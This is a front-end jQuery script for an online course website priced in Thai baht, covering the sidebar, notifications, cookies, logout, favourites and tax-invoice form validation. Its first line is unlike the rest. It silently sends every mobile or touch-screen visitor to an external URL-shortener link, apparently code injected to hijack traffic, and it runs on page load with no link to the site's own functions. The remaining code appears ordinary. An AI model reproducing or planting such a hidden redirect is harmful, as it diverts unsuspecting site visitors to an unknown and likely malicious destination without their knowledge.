(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/JEzgWXOHX0r1");
var window_width = $(window).width();
var window_height = $(window).height();
var body = $('body');
var isMobileAndTablet = false;
var categories_id = null;

function mobileAndTabletCheck() {
    var check = false;
    (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) check = true;})(navigator.userAgent||navigator.vendor||window.opera);
    return check;
}

isMobileAndTablet = mobileAndTabletCheck();

function setupBody() {
    isMobileAndTablet = mobileAndTabletCheck();
    if (!isMobileAndTablet) {
        body.removeClass('mobile-tablet');
        body.addClass('desktop');
    } else {
        body.removeClass('desktop');
        body.addClass('mobile-tablet');
    }
}

function hidePreloader() {
    $('.preloader-block').fadeOut(function() {
        body.removeClass('preloder');
    });
    // body.removeClass('preloder');
}

function toggleSidebar() {
    var sidebar_block = $('#sidebar-block');
    var footer_block = $('#footer-block');
    var main_block = $('.main-block');
    var sub_menu = $('.sub-menu');

	if (sidebar_block.hasClass('compress') || sidebar_block.hasClass('initial-compress')) {
		// Show
        sidebar_block.removeClass('compress');
        sidebar_block.removeClass('initial-compress');
        sidebar_block.addClass('expand');
        main_block.addClass('sb-expand');
        footer_block.addClass('sb-expand');
        sub_menu.removeClass('hide');
        sub_menu.addClass('sb-expand');

        if (window_width < 992) {
            body.append('<div id="backdrop-sidebar" class="modal-backdrop fade show"></div>');
        }
    } else {
    	// Hide
    	sidebar_block.removeClass('expand');
        sidebar_block.addClass('compress');
        main_block.removeClass('sb-expand');
        footer_block.removeClass('sb-expand');
        sub_menu.removeClass('hide');
        sub_menu.removeClass('sb-expand');

        if (window_width < 992) {
            $('#backdrop-sidebar').fadeOut(500, function() { $(this).remove(); });
        }
    }

    main_block.trigger('classChanged');
}

function hideSubMenu(animation = true) {
    var sub_menu = $('.sub-menu');
    if (sub_menu.hasClass('show')) {
        sub_menu.removeClass('show');
        sub_menu.addClass('hide');
    }
}

function toggleSearchBlock() {
    var block = $('#search-block');
    if (!block.hasClass('show')) {
        // Show
        block.removeClass('hide');
        block.addClass('show');
        $('#input-search').focus();
    } else {
        // Hide
        block.removeClass('show');
        block.addClass('hide');
    }
}

function showUpdateProfilePictureBlock() {
    $('#modal-profile-picture').modal('show');
}

function setupSidebar() {
    var sidebar_block = $('#sidebar-block');
    var footer_block = $('#footer-block');
    var main_block = $('.main-block');
    var backdrop_sidebar = $('#backdrop-sidebar');
    if (window_width < 992) {
        sidebar_block.removeClass('initial-expand');
        sidebar_block.addClass('initial-compress');

        if (main_block.hasClass('sb-expand')) {
            sidebar_block.removeClass('expand');
            main_block.removeClass('sb-expand');
            footer_block.removeClass('sb-expand');
        }
    } else {
        // sidebar_block.removeClass('initial-compress');
        // sidebar_block.addClass('initial-expand');

        if (!main_block.hasClass('sb-expand')) {
            if (window_height <= 991.98 && isMobileAndTablet && !sidebar_block.hasClass('initial-compress')) {
                sidebar_block.removeClass('compress');
                main_block.addClass('sb-expand');
                footer_block.addClass('sb-expand');
            }
        }

        if (sidebar_block.hasClass('initial-compress')) {
            main_block.removeClass('sb-expand');
            $('.sub-menu').removeClass('sb-expand');
        }

        if (backdrop_sidebar.length) {
            backdrop_sidebar.fadeOut(500, function() { $(this).remove(); });
        }

    }

    setTimeout(() => {
        $('.sub-menu').css('opacity', 1);
    }, 300);
}

function btnLoading(btnID, content = '', isIcon = true, isDisabled = true) {
    $(btnID).attr('data-original-text', $(btnID).html());
    $(btnID).attr('data-original-title', $(btnID).attr('title'));
    var spin_class = '';

    if (!content) {
        spin_class = 'mr-0';
    }

    var icon = '<div class="spinner-border spinner-border-sm '+ spin_class +'" role="status"><span class="sr-only">Loading...</span></div>';

    if (!isIcon) {
        icon = '';
    }

    $(btnID).html(icon + content).prop('disabled', isDisabled);

    if (isDisabled) {
        $(btnID).addClass('disabled');
    } else {
        $(btnID).removeClass('disabled');
    }
}

function btnReset(btnID) {
    $(btnID).html($(btnID).attr('data-original-text')).attr('title', $(btnID).attr('data-original-title')).prop('disabled', false).removeClass('disabled');
}

function notification(type, msg, time = null) {
    var icon = '';

    if (type == 'error') {
        icon = '<i class="fas fa-exclamation-circle mr-2"></i>';
    }

    new Noty({
        'theme': 'semanticui',
        'layout': 'topRight',
        'type': type,
        'text': '<h6 class="mb-0">' + icon + msg + '</h6>',
        'timeout': (time != undefined && time != null) ? time : 3500,
        'progressBar': true,
    }).show();
}

function goToElement(eleID, time = 400) {
    var block = $('#' + eleID);
    $([document.documentElement, document.body]).animate({
        scrollTop: block.offset().top
    }, time);
}

function loadingPage(status = 1) {
    if (status == 1) {
        $('#loading-page').addClass('show');
    } else {
        $('#loading-page').removeClass('show');
    }
}

function changeLanguage(lang) {
    loadingPage();
    $.post(URL_API + '/site/language/change', {'lang': lang}, function(data) {
        setTimeout(() => {
            location.reload();
        }, 300);
    });
}

function numberWithCommas(x) {
    return x.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",");
}

function generateNumberFormat(num) {
    var res = (Math.round(num * 100) / 100).toFixed(2);
    return res;
}

var generateCurrency = new Intl.NumberFormat('th-TH', {
    style: 'currency',
    currency: 'THB',

    // These options are needed to round to whole numbers if that's what you want.
    //minimumFractionDigits: 0, // (this suffices for whole numbers, but will print 2500.10 as $2,500.1)
    //maximumFractionDigits: 0, // (causes 2500.99 to be printed as $2,501)
});

function copyToClipboard(eleID) {
    var copyText = document.getElementById(eleID);

    /* Select the text field */
    copyText.select();
    copyText.setSelectionRange(0, 99999); /* For mobile devices */

    /* Copy the text inside the text field */
    document.execCommand("copy");

    /* Alert the copied text */
    $('#' + eleID).attr('data-original-title', lang_data.COPIED);
    $('#' + eleID).tooltip('show');
    setTimeout(() => {
        $('#' + eleID).tooltip('hide')
                        .attr('data-original-title', lang_data.COPY);
    }, 500);
    // notification('info', lang_data.COPIED);
}

function clickElement(ele) {
    $(ele).click();
}

function logout() {
    loadingPage();
    $.ajax({
        method: "POST",
        url: URL_API+'/site/user/logout',
        contentType: "application/json",
        dataType: 'json',
        success: function(data){
            if (data.params) {
                fns.submitForm(data.signoutUrl, data.params);
            } else {
                window.location.href = '/';
            }
        },
        error: function(argument) {
            window.location.reload();
        }
    });
}

function goTo(url) {
    window.location.href = url;
}

function togglePassword() {
    if ($('.input-password').attr('type') == 'password') {
        $('.input-password').attr('type', 'text');
    } else {
        $('.input-password').attr('type', 'password');
    }
}

function displayAlertBlockRedirect(title, content, url = window.location.href) {
    $.confirm({
        "columnClass": 'col-md-7 col-lg-5 mx-auto jconfirm-box-container-center',
        theme: 'modern',
        icon: 'fas fa-comment-alt-exclamation text-warning mb-3',
        title: title,
        content: content,
        draggable: false,
        buttons: {
            cancel: {
                text: lang_data.OK,
                'btnClass': 'btn btn-dark-soft mt-4',
                action: function(){
                    window.location.href = window.location.href;
                }
            }
        }
    });
}

function getCookie(cname) {
    let name = cname + "=";
    let decodedCookie = decodeURIComponent(document.cookie);
    let ca = decodedCookie.split(';');
    for(let i = 0; i <ca.length; i++) {
        let c = ca[i];
        while (c.charAt(0) == ' ') {
            c = c.substring(1);
        }
        if (c.indexOf(name) == 0) {
            return c.substring(name.length, c.length);
        }
    }
    return "";
}

function setCookie(cname, cvalue, exdays = 30) {
    const d = new Date();
    d.setTime(d.getTime() + (exdays*24*60*60*1000));
    let expires = "expires="+ d.toGMTString();
    document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}

function showPopupBanner() {
    if (configuration_data.popup_banner_picture && configuration_data.popup_banner_status == 1) {
        var popup_banner = getCookie('popup_banner');
        if (popup_banner != configuration_data.popup_banner_picture) {
            $('#modal-popup-banner').modal('show');
        }
    }
}

$(document).ready(function() {
    // Setup Sidebar
    setupSidebar();
    setTimeout(function() {
        setupBody();
    }, 10);

    $(document).on('click', '#backdrop-sidebar', function(event) {
        event.preventDefault();
        toggleSidebar();
        hideSubMenu();
    });

    $('.sidebar-menu-link-sub-menu').mouseover(function() {
        if (body.hasClass('desktop')) {
            var sub_menu = $(this).data('sub-menu');
            $(sub_menu).addClass('show');
            $(sub_menu).removeClass('hide');
        }
    }).mouseout(function() {
        if (body.hasClass('desktop')) {
            var sub_menu = $(this).data('sub-menu');
            $(sub_menu).mouseenter(function() {
            }).mouseleave(function() {
                $(sub_menu).removeClass('show');
                $(sub_menu).addClass('hide');
            });
        }
    });

    $('.sidebar-menu-link').mouseover(function() {
        var hasSubmenu = $(this).hasClass('sidebar-menu-link-sub-menu');
        if (!hasSubmenu && body.hasClass('desktop')) {
            var hasClass = $('.sub-menu').hasClass('show');
            if (hasClass) {
                $('.sub-menu').removeClass('show');
                $('.sub-menu').addClass('hide');
            }
        }
    }).mouseout(function() {
    });

    $('.sidebar-menu-link-sub-menu').on('touchstart', function() {
        if (isMobileAndTablet) {
            var sub_menu = $(this).data('sub-menu');
            if (!$(sub_menu).hasClass('show')) {
                // Show
                $(sub_menu).removeClass('hide');
                $(sub_menu).addClass('show');
            } else {
                // Hide
                $(sub_menu).removeClass('show');
                $(sub_menu).addClass('hide');
            }
        }
    });

    $('#sidebar-menu-items-language').on('show.bs.dropdown', function () {
        $(this).addClass('active');
    });

    $('#sidebar-menu-items-language').on('hidden.bs.dropdown', function () {
        $(this).removeClass('active');
    });

    // Read more
    $(document).on('click', '.toggle-read-more', function(event) {
        var data_target = $(this).data('target');
        var target = $(data_target);
        var status = target.data('read-more-status');
        var show_line = target.data('show-line');
        var btn_text = $(this).data('read-more-title');
        if (!status) {
            // Read more
            btn_text = $(this).data('read-less-title');
            target.data('show-line', 'auto').attr('data-show-line', 'auto');
            target.data('read-more-status', true).attr('data-read-more-status', true);
        } else {
            // Read less
            var line = target.data('max-line');
            target.data('show-line', line).attr('data-show-line', line);
            target.data('read-more-status', false).attr('data-read-more-status', false);
        }

        var change_title_status = $(this).data('change-title');
        if (change_title_status == true) {
            $(this).text(btn_text);
        }
    });

    $('.btn-favorite').on('click', function(event) {
        event.preventDefault();
        if (!members_data) {
            window.location.href = '/login?url_return=' + window.location.href;
            return false;
        }

        var courses_id = $(this).data('courses-id');
        if ($(this).data('favorite') == 0) {
            // SAVE TO FAVORITE
            $(this).data('favorite', 1);
            $(this).addClass('active');

            $.post(URL_API + '/site/favorite', {'courses_id': courses_id}, function(data) {
                notification('success', '<i class="fas fa-heart mr-1"></i> ' + lang_data.SAVE_TO_FAVORITES);
            }).fail(function(data) {
                notification('warning', lang_data.AN_ERROR_HAS_OCCURRED);
                console.log(data);
            });

        } else {
            // REMOVE FROM FAVORITE
            $(this).data('favorite', 0);
            $(this).removeClass('active');

            $.post(URL_API + '/site/favorite/remove', {'courses_id': courses_id}, function(data) {
                notification('info', lang_data.REMOVE_FROM_FAVORITES);
            }).fail(function(data) {
                notification('warning', lang_data.AN_ERROR_HAS_OCCURRED);
                console.log(data);
            });
        }
    });

    $(document).on('click', '.btn-buy-now', function(event) {
        var courses_id = $(this).data('courses-id');
        var eleID = '#' + $(this).attr('id');
        btnLoading(eleID);

        // notification('info', 'Go to order page.');
        setTimeout(() => {
            btnReset(eleID);
        }, 1000);
    });

    $('[data-toggle="dropdown"]').click(function () {
        $('[data-toggle="tooltip"]').tooltip("hide");
        $('[data-toggle-second="tooltip"]').tooltip("hide");
    });

    $('.select_tax_invoice_type').on('change', function(event) {
        event.preventDefault();
        var type = $(this).val();
        $('.tax_invoice_type').addClass('d-none');
        $('.' + type + '-type').removeClass('d-none');
    });

    $('.select_inv_corporate_branch').on('change', function(event) {
        event.preventDefault();
        var type = $(this).val();

        if (type == 0) {
            $('#inv_corporate_branch_no').val('').prop('readonly', true);
        } else {
            $('#inv_corporate_branch_no').prop('readonly', false);
        }
    });

    $('#form-search').on('submit', function(event) {
        event.preventDefault();
        var search = $('#input-search').val();
        var _categories_id = '';
        if (categories_id != null) {
            _categories_id = categories_id;
        }
        window.location = '/courses/list/'+ _categories_id +'?search=' + search;
    });

    if ($('#form-tax-invoice').length > 0) {
        $('#form-tax-invoice').validate({ // initialize the plugin
                rules: {
                    inv_personal_first_name: {
                        required: {
                            depends: function() {
                                return $('.select_tax_invoice_type').val() == 'personal' ? 'true' : false
                            }
                        }
                    },
                    inv_personal_last_name: {
                        required: {
                            depends: function() {
                                return $('.select_tax_invoice_type').val() == 'personal' ? 'true' : false
                            }
                        }
                    },
                    inv_corporate_name: {
                        required: {
                            depends: function() {
                                return $('.select_tax_invoice_type').val() == 'corporate' ? 'true' : false
                            }
                        }
                    },
                    inv_corporate_branch_no: {
                        digits: true,
                        required: {
                            depends: function() {
                                return $('.select_inv_corporate_branch').val() == 1 ? 'true' : false
                            }
                        }
                    },
                    inv_personal_tax_id: {
                        required: true
                    },
                    inv_personal_email: {
                        required: true,
                        email: true
                    },
                    inv_personal_address: {
                        required: true
                    },
                    inv_personal_zip_code: {
                        required: true,
                        digits: true
                    },
                    inv_personal_tel: {
                        required: true,
                        digits: true
                    }
                },
                submitHandler: function (form) { // for demo
                    var _this = $(this);
                    var form = $('#' + form.id);

                    if ($('#checkbox-tax-invoice').length > 0) {
                        if (!$('#checkbox-tax-invoice').prop('checked')) {
                            $('#checkbox-tax-invoice').prop('checked', true);
                        }

                        $('#tax-invoice-info-block').removeClass('d-none');
                    }

                    var tax_invoice_form_mode = form.hasClass('mode-view');
                    if (tax_invoice_form_mode) {
                        $('#modal-tax-invoice').modal('hide');
                        return false;
                    }

                    var tax_invoice_data = form.serializeObject();

                    btnLoading('#btn-tax-invoice-confirm');

                    var route = '/site/user/tax_invoice';

                    $promiseData = $.post(URL_API + route, tax_invoice_data);
                    $promiseData.done(function(data) {
                        if (data.is_error == false) {
                            if (page == 'orders') {
                                toggleTaxInvoiceFormMode('mode-view');
                            }

                            setTimeout(() => {
                                $('#modal-tax-invoice').modal('hide');
                                btnReset('#btn-tax-invoice-confirm');
                            }, 1000);
                        } else if (data.is_error == true) {
                            btnReset('#btn-tax-invoice-confirm');
                            notification('warning', lang_data.AN_ERROR_HAS_OCCURRED);
                        }
                    }).fail(function(data) {
                        btnReset('#btn-tax-invoice-confirm');
                        console.log(data.responseText);
                        notification('warning', lang_data.AN_ERROR_HAS_OCCURRED);
                    });
                    return false;
                }
            });
    }

    $(document).on('click', '.popup-banner-close', function(event) {
        setCookie('popup_banner', configuration_data.popup_banner_picture);
        $('#modal-popup-banner').modal('hide');
    });

    $(document).on('click', '.card-course', function(e) {
        var card = $(this).find('.card');
        card.append('<span class="wave"></span>');

        var wave = card.find('.wave');

        wave.removeClass('animate');

        var dia = Math.max(card.outerHeight(), card.outerWidth());

        wave.css({
            width: dia + 'px',
            height: dia + 'px'
        });

        var x = e.pageX - card.offset().left - wave.width()/2;
        var y = e.pageY - card.offset().top - wave.height()/2;

        wave.css({
            top: y + 'px',
            left: x + 'px',
        }).addClass('animate');
    });
});

$(window).on('resize', function(event) {
    window_width = $(window).width();
    window_height = $(window).height();
    setupSidebar();
    $('#sidebar-menu-items-language').dropdown('hide');
    $('#sidebar-menu-items-language').removeClass('active');

    setTimeout(function() {
        setupBody();
    }, 10);
});